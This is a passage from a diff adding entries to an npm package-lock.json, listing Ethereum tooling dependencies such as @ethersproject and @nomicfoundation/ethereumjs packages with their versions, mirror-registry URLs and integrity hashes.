"https://registry.npmmirror.com/@ethersproject/keccak256/-/keccak256-5.7.0.tgz", + "integrity": "sha512-2UcPboeL/iW+pSg6vZ6ydF8tCnv3Iu/8tUmLLzWWGzxWKFFqOBQFLo6uLUv6BDrLgCDfN28RJ/wtByx+jZ4KBg==", + "dev": true, + "dependencies": { + "@ethersproject/bytes": "^5.7.0", + "js-sha3": "0.8.0" + } + }, + "node_modules/@ethersproject/logger": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/logger/-/logger-5.7.0.tgz", + "integrity": "sha512-0odtFdXu/XHtjQXJYA3u9G0G8btm0ND5Cu8M7i5vhEcE8/HmF4Lbdqanwyv4uQTr2tx6b7fQRmgLrsnpQlmnig==", + "dev": true + }, + "node_modules/@ethersproject/networks": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/@ethersproject/networks/-/networks-5.7.1.tgz", + "integrity": "sha512-n/MufjFYv3yFcUyfhnXotyDlNdFb7onmkSy8aQERi2PjNcnWQ66xXxa3XlS8nCcA8aJKJjIIMNJTC7tu80GwpQ==", + "dev": true, + "dependencies": { + "@ethersproject/logger": "^5.7.0" + } + }, + "node_modules/@ethersproject/pbkdf2": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/pbkdf2/-/pbkdf2-5.7.0.tgz", + "integrity": "sha512-oR/dBRZR6GTyaofd86DehG72hY6NpAjhabkhxgr3X2FpJtJuodEl2auADWBZfhDHgVCbu3/H/Ocq2uC6dpNjjw==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/sha2": "^5.7.0" + } + }, + "node_modules/@ethersproject/properties": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/properties/-/properties-5.7.0.tgz", + "integrity": "sha512-J87jy8suntrAkIZtecpxEPxY//szqr1mlBaYlQ0r4RCaiD2hjheqF9s1LVE8vVuJCXisjIP+JgtK/Do54ej4Sw==", + "dev": true, + "dependencies": { + "@ethersproject/logger": "^5.7.0" + } + }, + "node_modules/@ethersproject/providers": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/@ethersproject/providers/-/providers-5.7.1.tgz", + "integrity": "sha512-vZveG/DLyo+wk4Ga1yx6jSEHrLPgmTt+dFv0dv8URpVCRf0jVhalps1jq/emN/oXnMRsC7cQgAF32DcXLL7BPQ==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/abstract-provider": "^5.7.0", + "@ethersproject/abstract-signer": "^5.7.0", + "@ethersproject/address": "^5.7.0", + "@ethersproject/base64": "^5.7.0", + "@ethersproject/basex": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/constants": "^5.7.0", + "@ethersproject/hash": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/networks": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/random": "^5.7.0", + "@ethersproject/rlp": "^5.7.0", + "@ethersproject/sha2": "^5.7.0", + "@ethersproject/strings": "^5.7.0", + "@ethersproject/transactions": "^5.7.0", + "@ethersproject/web": "^5.7.0", + "bech32": "1.1.4", + "ws": "7.4.6" + } + }, + "node_modules/@ethersproject/providers/node_modules/ws": { + "version": "7.4.6", + "resolved": "https://registry.npmmirror.com/ws/-/ws-7.4.6.tgz", + "integrity": "sha512-YmhHDO4MzaDLB+M9ym/mDA5z0naX8j7SIlT8f8z+I0VtzsRbekxEutHSme7NPS2qE8StCYQNUnfWdXta/Yu85A==", + "dev": true, + "peer": true, + "engines": { + "node": ">=8.3.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": "^5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/@ethersproject/random": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/random/-/random-5.7.0.tgz", + "integrity": "sha512-19WjScqRA8IIeWclFme75VMXSBvi4e6InrUNuaR4s5pTF2qNhcGdCUwdxUVGtDDqC00sDLCO93jPQoDUH4HVmQ==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0" + } + }, + "node_modules/@ethersproject/rlp": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/rlp/-/rlp-5.7.0.tgz", + "integrity": "sha512-rBxzX2vK8mVF7b0Tol44t5Tb8gomOHkj5guL+HhzQ1yBh/ydjGnpw6at+X6Iw0Kp3OzzzkcKp8N9r0W4kYSs9w==", + "dev": true, + "dependencies": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0" + } + }, + "node_modules/@ethersproject/sha2": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/sha2/-/sha2-5.7.0.tgz", + "integrity": "sha512-gKlH42riwb3KYp0reLsFTokByAKoJdgFCwI+CCiX/k+Jm2mbNs6oOaCjYQSlI1+XBVejwH2KrmCbMAT/GnRDQw==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "hash.js": "1.1.7" + } + }, + "node_modules/@ethersproject/signing-key": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/signing-key/-/signing-key-5.7.0.tgz", + "integrity": "sha512-MZdy2nL3wO0u7gkB4nA/pEf8lu1TlFswPNmy8AiYkfKTdO6eXBJyUdmHO/ehm/htHw9K/qF8ujnTyUAD+Ry54Q==", + "dev": true, + "dependencies": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "bn.js": "^5.2.1", + "elliptic": "6.5.4", + "hash.js": "1.1.7" + } + }, + "node_modules/@ethersproject/solidity": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/solidity/-/solidity-5.7.0.tgz", + "integrity": "sha512-HmabMd2Dt/raavyaGukF4XxizWKhKQ24DoLtdNbBmNKUOPqwjsKQSdV9GQtj9CBEea9DlzETlVER1gYeXXBGaA==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/keccak256": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/sha2": "^5.7.0", + "@ethersproject/strings": "^5.7.0" + } + }, + "node_modules/@ethersproject/strings": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/strings/-/strings-5.7.0.tgz", + "integrity": "sha512-/9nu+lj0YswRNSH0NXYqrh8775XNyEdUQAuf3f+SmOrnVewcJ5SBNAjF7lpgehKi4abvNNXyf+HX86czCdJ8Mg==", + "dev": true, + "dependencies": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/constants": "^5.7.0", + "@ethersproject/logger": "^5.7.0" + } + }, + "node_modules/@ethersproject/transactions": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/transactions/-/transactions-5.7.0.tgz", + "integrity": "sha512-kmcNicCp1lp8qanMTC3RIikGgoJ80ztTyvtsFvCYpSCfkjhD0jZ2LOrnbcuxuToLIUYYf+4XwD1rP+B/erDIhQ==", + "dev": true, + "dependencies": { + "@ethersproject/address": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/constants": "^5.7.0", + "@ethersproject/keccak256": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/rlp": "^5.7.0", + "@ethersproject/signing-key": "^5.7.0" + } + }, + "node_modules/@ethersproject/units": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/units/-/units-5.7.0.tgz", + "integrity": "sha512-pD3xLMy3SJu9kG5xDGI7+xhTEmGXlEqXU4OfNapmfnxLVY4EMSSRp7j1k7eezutBPH7RBN/7QPnwR7hzNlEFeg==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/constants": "^5.7.0", + "@ethersproject/logger": "^5.7.0" + } + }, + "node_modules/@ethersproject/wallet": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/wallet/-/wallet-5.7.0.tgz", + "integrity": "sha512-MhmXlJXEJFBFVKrDLB4ZdDzxcBxQ3rLyCkhNqVu3CDYvR97E+8r01UgrI+TI99Le+aYm/in/0vp86guJuM7FCA==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/abstract-provider": "^5.7.0", + "@ethersproject/abstract-signer": "^5.7.0", + "@ethersproject/address": "^5.7.0", + "@ethersproject/bignumber": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/hash": "^5.7.0", + "@ethersproject/hdnode": "^5.7.0", + "@ethersproject/json-wallets": "^5.7.0", + "@ethersproject/keccak256": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/random": "^5.7.0", + "@ethersproject/signing-key": "^5.7.0", + "@ethersproject/transactions": "^5.7.0", + "@ethersproject/wordlists": "^5.7.0" + } + }, + "node_modules/@ethersproject/web": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/@ethersproject/web/-/web-5.7.1.tgz", + "integrity": "sha512-Gueu8lSvyjBWL4cYsWsjh6MtMwM0+H4HvqFPZfB6dV8ctbP9zFAO73VG1cMWae0FLPCtz0peKPpZY8/ugJJX2w==", + "dev": true, + "dependencies": { + "@ethersproject/base64": "^5.7.0", + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/strings": "^5.7.0" + } + }, + "node_modules/@ethersproject/wordlists": { + "version": "5.7.0", + "resolved": "https://registry.npmmirror.com/@ethersproject/wordlists/-/wordlists-5.7.0.tgz", + "integrity": "sha512-S2TFNJNfHWVHNE6cNDjbVlZ6MgE17MIxMbMg2zv3wn+3XSJGosL1m9ZVv3GXCf/2ymSsQ+hRI5IzoMJTG6aoVA==", + "dev": true, + "peer": true, + "dependencies": { + "@ethersproject/bytes": "^5.7.0", + "@ethersproject/hash": "^5.7.0", + "@ethersproject/logger": "^5.7.0", + "@ethersproject/properties": "^5.7.0", + "@ethersproject/strings": "^5.7.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", + "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==", + "dev": true, + "peer": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.14", + "resolved": "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", + "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==", + "dev": true, + "peer": true + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.9", + "resolved": "https://registry.npmmirror.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", + "integrity": "sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==", + "dev": true, + "peer": true, + "dependencies": { + "@jridgewell/resolve-uri": "^3.0.3", + "@jridgewell/sourcemap-codec": "^1.4.10" + } + }, + "node_modules/@metamask/eth-sig-util": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/@metamask/eth-sig-util/-/eth-sig-util-4.0.1.tgz", + "integrity": "sha512-tghyZKLHZjcdlDqCA3gNZmLeR0XvOE9U1qoQO9ohyAZT6Pya+H9vkBPcsyXytmYLNgVoin7CKCmweo/R43V+tQ==", + "dev": true, + "dependencies": { + "ethereumjs-abi": "^0.6.8", + "ethereumjs-util": "^6.2.1", + "ethjs-util": "^0.1.6", + "tweetnacl": "^1.0.3", + "tweetnacl-util": "^0.15.1" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/@noble/hashes": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/@noble/hashes/-/hashes-1.1.2.tgz", + "integrity": "sha512-KYRCASVTv6aeUi1tsF8/vpyR7zpfs3FUzy2Jqm+MU+LmUKhQ0y2FpfwqkCcxSg2ua4GALJd8k2R76WxwZGbQpA==", + "dev": true + }, + "node_modules/@noble/secp256k1": { + "version": "1.6.3", + "resolved": "https://registry.npmmirror.com/@noble/secp256k1/-/secp256k1-1.6.3.tgz", + "integrity": "sha512-T04e4iTurVy7I8Sw4+c5OSN9/RkPlo1uKxAomtxQNLq8j1uPAqnsqG1bqvY3Jv7c13gyr6dui0zmh/I3+f/JaQ==", + "dev": true + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "peer": true, + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "peer": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmmirror.com/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "peer": true, + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nomicfoundation/ethereumjs-block": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-block/-/ethereumjs-block-4.0.0.tgz", + "integrity": "sha512-bk8uP8VuexLgyIZAHExH1QEovqx0Lzhc9Ntm63nCRKLHXIZkobaFaeCVwTESV7YkPKUk7NiK11s8ryed4CS9yA==", + "dev": true, + "dependencies": { + "@nomicfoundation/ethereumjs-common": "^3.0.0", + "@nomicfoundation/ethereumjs-rlp": "^4.0.0", + "@nomicfoundation/ethereumjs-trie": "^5.0.0", + "@nomicfoundation/ethereumjs-tx": "^4.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "ethereum-cryptography": "0.1.3" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@nomicfoundation/ethereumjs-block/node_modules/ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "dependencies": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + }, + "node_modules/@nomicfoundation/ethereumjs-blockchain": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-blockchain/-/ethereumjs-blockchain-6.0.0.tgz", + "integrity": "sha512-pLFEoea6MWd81QQYSReLlLfH7N9v7lH66JC/NMPN848ySPPQA5renWnE7wPByfQFzNrPBuDDRFFULMDmj1C0xw==", + "dev": true, + "dependencies": { + "@nomicfoundation/ethereumjs-block": "^4.0.0", + "@nomicfoundation/ethereumjs-common": "^3.0.0", + "@nomicfoundation/ethereumjs-ethash": "^2.0.0", + "@nomicfoundation/ethereumjs-rlp": "^4.0.0", + "@nomicfoundation/ethereumjs-trie": "^5.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "abstract-level": "^1.0.3", + "debug": "^4.3.3", + "ethereum-cryptography": "0.1.3", + "level": "^8.0.0", + "lru-cache": "^5.1.1", + "memory-level": "^1.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@nomicfoundation/ethereumjs-blockchain/node_modules/ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "dependencies": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + }, + "node_modules/@nomicfoundation/ethereumjs-common": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-common/-/ethereumjs-common-3.0.0.tgz", + "integrity": "sha512-WS7qSshQfxoZOpHG/XqlHEGRG1zmyjYrvmATvc4c62+gZXgre1ymYP8ZNgx/3FyZY0TWe9OjFlKOfLqmgOeYwA==", + "dev": true, + "dependencies": { + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "crc-32": "^1.2.0" + } + }, + "node_modules/@nomicfoundation/ethereumjs-ethash": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-ethash/-/ethereumjs-ethash-2.0.0.tgz", + "integrity": "sha512-WpDvnRncfDUuXdsAXlI4lXbqUDOA+adYRQaEezIkxqDkc+LDyYDbd/xairmY98GnQzo1zIqsIL6GB5MoMSJDew==", + "dev": true, + "dependencies": { + "@nomicfoundation/ethereumjs-block": "^4.0.0", + "@nomicfoundation/ethereumjs-rlp": "^4.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "abstract-level": "^1.0.3", + "bigint-crypto-utils": "^3.0.23", + "ethereum-cryptography": "0.1.3" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@nomicfoundation/ethereumjs-ethash/node_modules/ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "dependencies": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + }, + "node_modules/@nomicfoundation/ethereumjs-evm": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-evm/-/ethereumjs-evm-1.0.0.tgz", + "integrity": "sha512-hVS6qRo3V1PLKCO210UfcEQHvlG7GqR8iFzp0yyjTg2TmJQizcChKgWo8KFsdMw6AyoLgLhHGHw4HdlP8a4i+Q==", + "dev": true, + "dependencies": { + "@nomicfoundation/ethereumjs-common": "^3.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "@types/async-eventemitter": "^0.2.1", + "async-eventemitter": "^0.2.4", + "debug": "^4.3.3", + "ethereum-cryptography": "0.1.3", + "mcl-wasm": "^0.7.1", + "rustbn.js": "~0.2.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@nomicfoundation/ethereumjs-evm/node_modules/ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "dependencies": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + }, + "node_modules/@nomicfoundation/ethereumjs-rlp": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-rlp/-/ethereumjs-rlp-4.0.0.tgz", + "integrity": "sha512-GaSOGk5QbUk4eBP5qFbpXoZoZUj/NrW7MRa0tKY4Ew4c2HAS0GXArEMAamtFrkazp0BO4K5p2ZCG3b2FmbShmw==", + "dev": true, + "bin": { + "rlp": "bin/rlp" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@nomicfoundation/ethereumjs-statemanager": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-statemanager/-/ethereumjs-statemanager-1.0.0.tgz", + "integrity": "sha512-jCtqFjcd2QejtuAMjQzbil/4NHf5aAWxUc+CvS0JclQpl+7M0bxMofR2AJdtz+P3u0ke2euhYREDiE7iSO31vQ==", + "dev": true, + "dependencies": { + "@nomicfoundation/ethereumjs-common": "^3.0.0", + "@nomicfoundation/ethereumjs-rlp": "^4.0.0", + "@nomicfoundation/ethereumjs-trie": "^5.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "debug": "^4.3.3", + "ethereum-cryptography": "0.1.3", + "functional-red-black-tree": "^1.0.1" + } + }, + "node_modules/@nomicfoundation/ethereumjs-statemanager/node_modules/ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "dependencies": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + }, + "node_modules/@nomicfoundation/ethereumjs-trie": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-trie/-/ethereumjs-trie-5.0.0.tgz", + "integrity": "sha512-LIj5XdE+s+t6WSuq/ttegJzZ1vliwg6wlb+Y9f4RlBpuK35B9K02bO7xU+E6Rgg9RGptkWd6TVLdedTI4eNc2A==", + "dev": true, + "dependencies": { + "@nomicfoundation/ethereumjs-rlp": "^4.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "ethereum-cryptography": "0.1.3", + "readable-stream": "^3.6.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@nomicfoundation/ethereumjs-trie/node_modules/ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "dependencies": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + }, + "node_modules/@nomicfoundation/ethereumjs-tx": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-tx/-/ethereumjs-tx-4.0.0.tgz", + "integrity": "sha512-Gg3Lir2lNUck43Kp/3x6TfBNwcWC9Z1wYue9Nz3v4xjdcv6oDW9QSMJxqsKw9QEGoBBZ+gqwpW7+F05/rs/g1w==", + "dev": true, + "dependencies": { + "@nomicfoundation/ethereumjs-common": "^3.0.0", + "@nomicfoundation/ethereumjs-rlp": "^4.0.0", + "@nomicfoundation/ethereumjs-util": "^8.0.0", + "ethereum-cryptography": "0.1.3" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@nomicfoundation/ethereumjs-tx/node_modules/ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "dependencies": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + }, + "node_modules/@nomicfoundation/ethereumjs-util": { + "version": "8.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-util/-/ethereumjs-util-8.0.0.tgz", + "integrity": "sha512-2emi0NJ/HmTG+CGY58fa+DQuAoroFeSH9gKu9O6JnwTtlzJtgfTixuoOqLEgyyzZVvwfIpRueuePb8TonL1y+A==", + "dev": true, + "dependencies": { + "@nomicfoundation/ethereumjs-rlp": "^4.0.0-beta.2", + "ethereum-cryptography": "0.1.3" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/@nomicfoundation/ethereumjs-util/node_modules/ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "dependencies": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + }, + "node_modules/@nomicfoundation/ethereumjs-vm": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/@nomicfoundation/ethereumjs-vm/-/ethereumjs-vm-6.0.0.tgz", + "integrity": "sha512-JMPxvPQ3fzD063Sg3Tp+UdwUkVxMoo1uML6KSzFhMH3hoQi/LMuXBoEHAoW83/vyNS9BxEe6jm6LmT5xdeEJ6w==", + "dev": true, + "dependencies": { + "@nomicfoundation/ethereumjs-block": "^4.0.0", + "@nomicfoundation/ethereumjs-blockchain": "^6.0.0", + "@nomicfoundation/ethereumjs-common": "^3.0.0", + "@nomicfoundation/ethereumjs-evm": "^1.0.0", + "@nomicfoundation/ethereumjs-rlp": "^4.0.0", + "@nomicfoundation/ethereumjs-statemanager": "^1.0.0", + "@nomicfoundation/ethereumjs-trie": "^5.0.0", + "@nomicfoundation/ethereumjs-tx": 